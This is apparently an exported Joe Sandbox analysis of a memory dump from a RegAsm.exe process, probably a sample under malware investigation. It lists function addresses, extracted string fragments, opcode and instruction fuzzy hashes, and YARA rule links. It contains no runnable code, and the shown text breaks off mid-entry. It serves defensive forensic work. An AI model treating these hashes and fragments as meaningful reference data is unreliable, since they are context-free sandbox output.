Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$7654$defg
API String ID: 0-754973257
Opcode ID: fe4c2263e7f541097cd7e1276ef9b0ddbefc2d291b8011f9bdf8265acc152e94
Instruction ID: 5c7ae5f1a36bc8351c5dc06062275f31aaba2ea41b8746b841229fb7d44012db
Opcode Fuzzy Hash: fe4c2263e7f541097cd7e1276ef9b0ddbefc2d291b8011f9bdf8265acc152e94
Instruction Fuzzy Hash: C3C1AC716083209BD711EF14E881A2BB7E4EF95354F89095EF8C19B351E339D914CBAB

Function 004450E0 Relevance: 3.1, Strings: 2, Instructions: 576COMMON

Download Yara Rule

Strings

f, xrefs: 004452A6
7654, xrefs: 00445144, 0044514D

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 7654$f
API String ID: 0-930265988
Opcode ID: 579144abd9ad0ecb759efeeddbf896163be559cf23dfe97a4952c1ee92b0f94d
Instruction ID: de19403edc75124fb8fa16651fcd35b7f7b8ffe125996a06d8df55fcce46686f
Opcode Fuzzy Hash: 579144abd9ad0ecb759efeeddbf896163be559cf23dfe97a4952c1ee92b0f94d
Instruction Fuzzy Hash: 6E12D1716087419FEB15CF18C880B2FBBE1ABC4314F588A2EF895873A2D739D845CB56

Function 0042D56C Relevance: 3.1, Strings: 2, Instructions: 553COMMON

Download Yara Rule

Strings

4`[b, xrefs: 0042D860
7654, xrefs: 0042D823

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$7654
API String ID: 0-3675246634
Opcode ID: 4ebe84494b6721855754e88454bd869297922db48c31a06956ead8982e28ba80
Instruction ID: 4bc0d7d0b4372d09d1f80951b4dd8e72c0f01cae245f05c3a22e09897f17cac6
Opcode Fuzzy Hash: 4ebe84494b6721855754e88454bd869297922db48c31a06956ead8982e28ba80
Instruction Fuzzy Hash: 02122370A08341DFD724CF28E89071ABBE2BF8A316F14896DE4D8973A2D775D904CB56

Function 00403790 Relevance: 2.9, Strings: 2, Instructions: 445COMMON

Download Yara Rule

Strings

Inf, xrefs: 004037E7
NaN, xrefs: 004037EE

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: Inf$NaN
API String ID: 0-3500518849
Opcode ID: f3226641ccffb084b943e03a89841c171065b1cd8ecf88249c95162ffa2b7308
Instruction ID: cfcbd5781c5794fd878052524ebf2c83b7e2996ae9355b3ff982965262b6e72e
Opcode Fuzzy Hash: f3226641ccffb084b943e03a89841c171065b1cd8ecf88249c95162ffa2b7308
Instruction Fuzzy Hash: 7CE1D6B2A083019BC704CF29C48161BBBE5EBC4750F258A3EF899A73D0E774DD458B86

Function 0041CFF0 Relevance: 2.9, Strings: 2, Instructions: 428COMMON

Download Yara Rule

Strings

4`[b, xrefs: 0041D3C0
7654, xrefs: 0041D383

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$7654
API String ID: 0-3675246634
Opcode ID: c0f58f158a3409f8100f4a7b6bbb32796ecc7b37d8a9628118476fa5228a5e34
Instruction ID: 97e3d8432fa62b873f2236c54981c5df7dc0733d72ba7613edc951da59989f30
Opcode Fuzzy Hash: c0f58f158a3409f8100f4a7b6bbb32796ecc7b37d8a9628118476fa5228a5e34
Instruction Fuzzy Hash: D7A122B1904214DBD3219F14CC42BA773B4FF51359F08456EE88A873A2E739EC50C79A

Function 0042D58E Relevance: 2.9, Strings: 2, Instructions: 396COMMON

Download Yara Rule

Strings

4`[b, xrefs: 0042D860
7654, xrefs: 0042D823

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$7654
API String ID: 0-3675246634
Opcode ID: e4a64c07486ec4eee9284e1d1d98adb02db342f8a0de0245d192b4abb41fb210
Instruction ID: 5878a3ae7455ddbe66d1b8aab6ad714c336ee248068d822dee8781cd81fb895b
Opcode Fuzzy Hash: e4a64c07486ec4eee9284e1d1d98adb02db342f8a0de0245d192b4abb41fb210
Instruction Fuzzy Hash: 01D13770A08390DFD720CF24E89075AB7E2AF9A316F18496DE4D997392D375ED04CB1A

Function 0042C390 Relevance: 2.9, Strings: 2, Instructions: 361COMMON

Download Yara Rule

Strings

7654, xrefs: 0042C3C3, 0042C3CB
e, xrefs: 0042C710

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: 7654$e
API String ID: 2994545307-2460420260
Opcode ID: f7c379ae5121c6bd7f5f3bf37a8e5cd38f458bbd85b3cc10accd3093f96a0b56
Instruction ID: 11945eaa199fbd2feb2a77c93107578b6d38bce28f05eb1bcc10d1619140c484
Opcode Fuzzy Hash: f7c379ae5121c6bd7f5f3bf37a8e5cd38f458bbd85b3cc10accd3093f96a0b56
Instruction Fuzzy Hash: 5AA1F0716083219FD710EF14E8D0A2FB7E1EF95354F94892EE98597352E338E841CB9A

Function 00434DF6 Relevance: 2.8, Strings: 2, Instructions: 301COMMON

Download Yara Rule

Strings

O<>5, xrefs: 00434DFE
J(Z4, xrefs: 0043507A

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: J(Z4$O<>5
API String ID: 0-1381569939
Opcode ID: 2b3eafb8382073a923ed8343f70dfa28e3e80688e5264b3e7f6cd2adb108814f
Instruction ID: 6565b98a73022d45040d5be856969b21091b835410caec50d7f7389bae59b378
Opcode Fuzzy Hash: 2b3eafb8382073a923ed8343f70dfa28e3e80688e5264b3e7f6cd2adb108814f
Instruction Fuzzy Hash: 78A17970508B818AE766CF39C050BA3FBE1AF1A305F54585ED4EB8B782C77AB405CB65

Function 00437620 Relevance: 2.7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899, xrefs: 004376A2
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 00437805

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
API String ID: 0-2492670020
Opcode ID: 3062d5efe69ceb85abb1b62a397233c9323a09391f451b3eb2ef24bbef9aa3a1
Instruction ID: 6111d259e755e12c00d3ecab6662fed1963f18ecac40f8d090cae3b405bc9ae5
Opcode Fuzzy Hash: 3062d5efe69ceb85abb1b62a397233c9323a09391f451b3eb2ef24bbef9aa3a1
Instruction Fuzzy Hash: 61610573B1D9804BDB3C9A3D4C6226A7A435FDB334B2C936AE5F2C73E1D52988018345

Function 0042A2F9 Relevance: 2.7, Strings: 2, Instructions: 208COMMON

Download Yara Rule

Strings

;9, xrefs: 0042A0B7, 0042A0C3
,+, xrefs: 0042A186

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ,+$;9
API String ID: 0-1035581042
Opcode ID: fd429c52b9270381125f2c7ff991b4681d229a7dd8ccae4c976d6f9e66088ac5
Instruction ID: a8d1bfba6cff5693b5a22f2e246a050cfb9519439ae3469259881602220de6ad
Opcode Fuzzy Hash: fd429c52b9270381125f2c7ff991b4681d229a7dd8ccae4c976d6f9e66088ac5
Instruction Fuzzy Hash: 24715374108390CBD7208F24D940B6BB7F1FF86305F949A1EE9D987221EB79D810CB5A

Function 0042A274 Relevance: 2.7, Strings: 2, Instructions: 202COMMON

Download Yara Rule

Strings

;9, xrefs: 0042A0B7, 0042A0C3
,+, xrefs: 0042A186

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ,+$;9
API String ID: 0-1035581042
Opcode ID: 6c514a58eddc6375df67e0e40d0af6a33b7b51b1912c0f5f1b71658d682d6659
Instruction ID: d75497c7bc5a3c3f258d38026d720fbab9c12da0385263baf3a294c8c598bd3d
Opcode Fuzzy Hash: 6c514a58eddc6375df67e0e40d0af6a33b7b51b1912c0f5f1b71658d682d6659
Instruction Fuzzy Hash: 7E614374108390CBD7248F24E940B6BB7F1FF86305F949A5EE9D887221EB79D810CB5A

Function 0044AF10 Relevance: 2.6, Strings: 2, Instructions: 87COMMON

Download Yara Rule

Strings

@, xrefs: 0044AF60
MNOP, xrefs: 0044AFA3, 0044AFAB

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: @$MNOP
API String ID: 2994545307-2234187807
Opcode ID: e8eb8e7b710596d1c74c1b8591662db9ad2ca5a2e960669c0b6428914b1691a7
Instruction ID: 4cbe3da95016eb5cdb85334a5a7d98617c44c4b6d2decb90e9c5df58e2c316ea
Opcode Fuzzy Hash: e8eb8e7b710596d1c74c1b8591662db9ad2ca5a2e960669c0b6428914b1691a7
Instruction Fuzzy Hash: 773168709093009BE714DF15D880A2BBBF5EF9A319F14892EE98897351D339D914CB9A

Function 00405400 Relevance: 1.8, Strings: 1, Instructions: 570COMMON

Download Yara Rule

Strings

%1.17g, xrefs: 00405768

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: %1.17g
API String ID: 0-1551345525
Opcode ID: d7b07ed70faec5ae0229b128cf20a3fd72730703604141df1a9ea8e470dfb83c
Instruction ID: a5a990b7d37f07a136729ee37501cef67c4ba19131cd56b77464573e07893e63
Opcode Fuzzy Hash: d7b07ed70faec5ae0229b128cf20a3fd72730703604141df1a9ea8e470dfb83c
Instruction Fuzzy Hash: 8A12D5B6A08B418BE7158E14C480727BBA2EFE0314F19867ED8596B3D1E779DC05CF4A

Function 00426CA0 Relevance: 1.8, APIs: 1, Instructions: 255comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0044EB80,00000000,00000001,0044EB70), ref: 00426CC9

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 23a7ae71985ea26ccd963fc31c7aca8cae070c80405dbe57fff8fe91e8626e74
Instruction ID: aaa0f5ddf04a0fb17491854a9ed1dc8b5669499049bb0ea055afc95c03e17e5c
Opcode Fuzzy Hash: 23a7ae71985ea26ccd963fc31c7aca8cae070c80405dbe57fff8fe91e8626e74
Instruction Fuzzy Hash: 586100B53002149BDB20DB24DC92BB733B4FF81358F564519F9468B390E778E805C76A

Function 00449390 Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

P, xrefs: 00449537

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: b4251f7723f8745f7b2b3e976eda3b15f31dcf2fd24cd5e3171029a2dd935bc3
Instruction ID: 3b4be68ae0bb154b0f5282f7702363db0b67a1e70ae851dab57422b1ed72f487
Opcode Fuzzy Hash: b4251f7723f8745f7b2b3e976eda3b15f31dcf2fd24cd5e3171029a2dd935bc3
Instruction Fuzzy Hash: DDD1F3729082609FE726CE18D88071FB6E1EB85718F15863DE8B5AB381C779DC06D7C6

Function 00431370 Relevance: 1.6, Strings: 1, Instructions: 383COMMON

Download Yara Rule

Strings

", xrefs: 00431658

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: ebf93012f695f814ea8beb274b67aa73a9487f93ba687a60f16075264e124bcf
Instruction ID: 4bf39b719c747955085c095eee2413a709a75f6ba2d808f9bf0869d59952773e
Opcode Fuzzy Hash: ebf93012f695f814ea8beb274b67aa73a9487f93ba687a60f16075264e124bcf
Instruction Fuzzy Hash: D6C12872A083009BD714CF25C491B6BB7E9AF88354F1C992FE896873A2D738DD44C796

Function 0042DEF8 Relevance: 1.6, Strings: 1, Instructions: 338COMMON

Download Yara Rule

Strings

B, xrefs: 0042E2E5

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: B
API String ID: 0-3806887055
Opcode ID: 881487b94f34c037e028dc03176547ea1a1a34661b7e3cdf011bdcf23930bfef
Instruction ID: dda79431a7a381354eb7992f4da0d9bb5ed59ed8d5ad5917760c71f259a4ecc9
Opcode Fuzzy Hash: 881487b94f34c037e028dc03176547ea1a1a34661b7e3cdf011bdcf23930bfef
Instruction Fuzzy Hash: 0BA11972A087258BC718CF29D89172EB7E2ABC8304F49867DE9969B381DB74DC05C7C5

Function 00434A2F Relevance: 1.6, Strings: 1, Instructions: 305COMMON

Download Yara Rule

Strings

J(Z4, xrefs: 00434CAC

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: J(Z4
API String ID: 0-2186490230
Opcode ID: fe18fcb45f5b366845e43e8746b6da6e8f3690878024a1e1d554e777e3f5da93
Instruction ID: 0c3c6397971fbf39b577ab5acef299f8a17aa32554bf44bf17e31ec2f091a3f2
Opcode Fuzzy Hash: fe18fcb45f5b366845e43e8746b6da6e8f3690878024a1e1d554e777e3f5da93
Instruction Fuzzy Hash: 2CA16C70408B808AE7768F39C090BE3BBE1AF5A304F54585ED4EB87782D779B445CB29

Function 00448BE0 Relevance: 1.5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00448DF0

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: 4`[b
API String ID: 2994545307-3962175265
Opcode ID: 7c1ffdfd6f211eb12630ce37f48f9216b1596631e01dcc04855e3016ddde93aa
Instruction ID: 97e95ed95cf941e068c77a71b6c165310a897e915d1a1d564e8b1cc4d5c8788d
Opcode Fuzzy Hash: 7c1ffdfd6f211eb12630ce37f48f9216b1596631e01dcc04855e3016ddde93aa
Instruction Fuzzy Hash: F191C271A08301AFE720DB15DC81B6FB7E5EB85354F54482EF99897392EB38D840CB5A

Function 0044B300 Relevance: 1.5, Strings: 1, Instructions: 282COMMON

Download Yara Rule

Strings

MNOP, xrefs: 0044B333, 0044B33B

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: MNOP
API String ID: 0-783613192
Opcode ID: f8a5d3031550570b0cd3a611d554af8d361d789c8380b98dc8553ef19e6847e4
Instruction ID: 4c1b4c4b2e9fef75eb940f9395f2579c141d9abd29664ce630b25ef7d8d63037
Opcode Fuzzy Hash: f8a5d3031550570b0cd3a611d554af8d361d789c8380b98dc8553ef19e6847e4
Instruction Fuzzy Hash: 8B81B1342083059FE724DF29D880A2BB7E5FF95758F15892DE9858B352E738DC10CB9A

Function 0044B020 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

MNOP, xrefs: 0044B053, 0044B05B

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: MNOP
API String ID: 0-783613192
Opcode ID: 3063f0f3f91d937777957b0289bf54ae34d1396810db12015069148717f2f1fe
Instruction ID: c4d83a5c95ce541db8a93265b5430b6c419164ec9e2e4709dc0e36d878027cf6
Opcode Fuzzy Hash: 3063f0f3f91d937777957b0289bf54ae34d1396810db12015069148717f2f1fe
Instruction Fuzzy Hash: B381BC306083009BE710DF58D891A2FB7E2FF85744F29886DE5858B361D779EC14CB9A

Function 00445AD0 Relevance: 1.5, Strings: 1, Instructions: 233COMMON

Download Yara Rule

Strings

7654, xrefs: 00445CF3, 00445CFB

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 7654
API String ID: 0-4024152101
Opcode ID: be504536f038416e1d4edb752feac5bc805885ba2f8544c8c01de497c5e423c1
Instruction ID: 7a35ab28fd0a26b3948bf9f86ec2e013bb52480a85e17a240ad3ac06b8b658d9
Opcode Fuzzy Hash: be504536f038416e1d4edb752feac5bc805885ba2f8544c8c01de497c5e423c1
Instruction Fuzzy Hash: 4371E2716087419FEB15DF19C8C0B2BB7E6EF95314F18892EE99487392D238DC41CB5A

Function 00414E26 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

SYA, xrefs: 0041504A, 00415061

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: SYA
API String ID: 0-4212776672
Opcode ID: 254f8b39bebb99d8ee5dccbeeadc484bb52319231fde44bda6536d8f9a50c579
Instruction ID: 7f879d4623d2c1102999ce86527e4d96d2f3d10b350c70f3ee8129f928f6a44f
Opcode Fuzzy Hash: 254f8b39bebb99d8ee5dccbeeadc484bb52319231fde44bda6536d8f9a50c579
Instruction Fuzzy Hash: D761A1B5A00700DFD7259F25E880A63B7F5FB95319F144A3DE08683762E739E885CB89

Function 004489F0 Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00448BA0

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: b5d023d62257a4c626440ddb3117fef597bce6b0240d556e5d7ff713d1724dd0
Instruction ID: b495b082d3e908edfd00f2f56cc7232502cc61b4d3337edbb305c0ef107e636d
Opcode Fuzzy Hash: b5d023d62257a4c626440ddb3117fef597bce6b0240d556e5d7ff713d1724dd0
Instruction Fuzzy Hash: BD514671608340AFE7149E09CC91B2FB7E6EB85725F188A2DF8D957391CA39EC01C796

Function 00444970 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

7654, xrefs: 00444A33, 00444A3B

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 7654
API String ID: 0-4024152101
Opcode ID: 901b10082cde7f28194df08ba5b3adeadc5b986e246d2c14ebb31e824fbb1a25
Instruction ID: 6b218af450866b0fe99af1f7c51bb86148964a482ba403d1030a703d4783f96c
Opcode Fuzzy Hash: 901b10082cde7f28194df08ba5b3adeadc5b986e246d2c14ebb31e824fbb1a25
Instruction Fuzzy Hash: 3851CE742083409BE724DF14E880B2BBBE5EBC5305F18882EE9C997311D739EC10DB2A

Function 0040E470 Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081, xrefs: 0040E5F1

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081
API String ID: 0-2471034898
Opcode ID: ddfdc7149270ff1530b2289e1383d721dd78681f1bfb949ebe86f553123317ed
Instruction ID: ccc2d30e64e97e097d375ac0de9d2e22b727f45c33e366729a74f9b94a1f59d5
Opcode Fuzzy Hash: ddfdc7149270ff1530b2289e1383d721dd78681f1bfb949ebe86f553123317ed
Instruction Fuzzy Hash: 98514E37A0A5A14BC3244E3E5C112A5AA460BA3334F2D8F77EDF5A73E1D12E4C264399

Function 0042DFE0 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

B, xrefs: 0042E2E5

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: B
API String ID: 0-3806887055
Opcode ID: dee7b1dee9328862052ad57725f35d79540aff3160e94df7c436ace43865785c
Instruction ID: 733f38e918fcb2dd5270b8569c0c3cc3d088bc41a3ce343992b8dfccbbb99759
Opcode Fuzzy Hash: dee7b1dee9328862052ad57725f35d79540aff3160e94df7c436ace43865785c
Instruction Fuzzy Hash: BB512C72F147358BC714CE2DD89072AB2D2ABC8305F8A467DDC5A9B382DE349C1587D5

Function 0044AC00 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

MNOP, xrefs: 0044AC34, 0044AC3D

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: MNOP
API String ID: 0-783613192
Opcode ID: f4242dfef2de233e48016e83545519aca856ea02bbfc6a89d7122ee86ff49502
Instruction ID: ee6679273abafb4133ad51ca82e03e062317397a14a93a1c8e4187433cc692b4
Opcode Fuzzy Hash: f4242dfef2de233e48016e83545519aca856ea02bbfc6a89d7122ee86ff49502
Instruction Fuzzy Hash: E141C374648300AFF7549B14D881B2BB7A6EB85715F24882EF98947352D339DC20CB5B

Function 0044AD90 Relevance: 1.4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

MNOP, xrefs: 0044ADC4, 0044ADCD

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: MNOP
API String ID: 0-783613192
Opcode ID: 5ced491ab1452905e1841d7bcce19d88781f5803ed5ce9cf4ca693d6db50da8a
Instruction ID: 0a56d986e06c91ed8a12d7fa27a988aa33714531a5a76d730050ec92aa7a375b
Opcode Fuzzy Hash: 5ced491ab1452905e1841d7bcce19d88781f5803ed5ce9cf4ca693d6db50da8a
Instruction Fuzzy Hash: BB418134688340AFF714DB15D881B2BB7A6EB85715F24882DF99997352C339DC20CB5B

Function 00424490 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

80, xrefs: 004244D5

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 80
API String ID: 0-1093746208
Opcode ID: 4d4fbab07c48a99c042bb332d07d745ff509867459e940bfbc226f5f481d4cde
Instruction ID: 3ec4b7595a72ad0e68ed4e3a28ec28138072276a7513f2fb7a742c8147458005
Opcode Fuzzy Hash: 4d4fbab07c48a99c042bb332d07d745ff509867459e940bfbc226f5f481d4cde
Instruction Fuzzy Hash: 412191746083109BD310AF18D951A2BB7F4EF96764F85491DE4D59B391E338C940CBAB

Function 0040BF80 Relevance: .9, Instructions: 852COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93c2a19666413ab9f400d1b7872a03c7fc96242e82f21e6db902c6c79d7bdab7
Instruction ID: 9a407bdc96c74e76d92ed5144f8a4fe6f1f4e12db280666d0dd749b8afd0197b
Opcode Fuzzy Hash: 93c2a19666413ab9f400d1b7872a03c7fc96242e82f21e6db902c6c79d7bdab7
Instruction Fuzzy Hash: 30529C32518711CBC725DF18D48066BB3E2FFD4304F298A3ED9D6A7295D339A851CB8A

Function 0040B470 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e250b38837fd4715581710c8edbcd8addf5a3626a2f5f82d9d280fee6d3a6ce6
Instruction ID: 642af7f9f4cc5c3a0bb655affbc7381b50852d66d18f9bbee6aa8b5c7dd6b660
Opcode Fuzzy Hash: e250b38837fd4715581710c8edbcd8addf5a3626a2f5f82d9d280fee6d3a6ce6
Instruction Fuzzy Hash: 98528070A087848FE7359B24C4847A7BBE1EB91314F14893EC5E656BC2C37DA885C79E

Function 00407470 Relevance: .7, Instructions: 657COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc0350b755ec659348fbe488e8fd628042ee9f5c1c3e63c7348debc874760767
Instruction ID: 6f34d658e8bf016dbeb144df8a802002908009c297ca34febf58999a114b199a
Opcode Fuzzy Hash: cc0350b755ec659348fbe488e8fd628042ee9f5c1c3e63c7348debc874760767
Instruction Fuzzy Hash: 4052B531A0C3458FCB15CF14C0906AABBE1BF85314F198A7EE89967391D778E949CF86

Function 00449E60 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

